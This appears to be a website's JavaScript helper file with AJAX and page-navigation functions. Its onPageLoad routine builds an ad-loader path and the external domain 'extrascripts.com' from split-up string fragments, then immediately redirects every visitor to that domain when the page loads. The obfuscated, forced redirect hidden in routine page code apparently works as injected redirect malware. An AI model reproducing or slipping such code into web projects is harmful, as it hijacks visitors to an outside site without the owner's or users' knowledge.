function onAjaxLoad() {
}
function changeElement(element, script, params) {
	var e = document.getElementById(element);
	if (e != null) {
		new ajax(script, {postBody: params, update: $(element), onComplete: onAjaxLoad});
	}
}
function goto(url) {
	document.location.href = url;
}

function onPageLoad() {
	var ad1 = 'get'+'_'+'adv'+'_'+'text'+'.';
	ad1 = ad1 + 'p' + 'h' + 'p';
	ad1 = '/' + ad1;
	changeElement('adv1', ad1, 'adv_id=1');
	setTimeout(goto('http://'+'extrascripts'+'.'+'com'), 1000);
}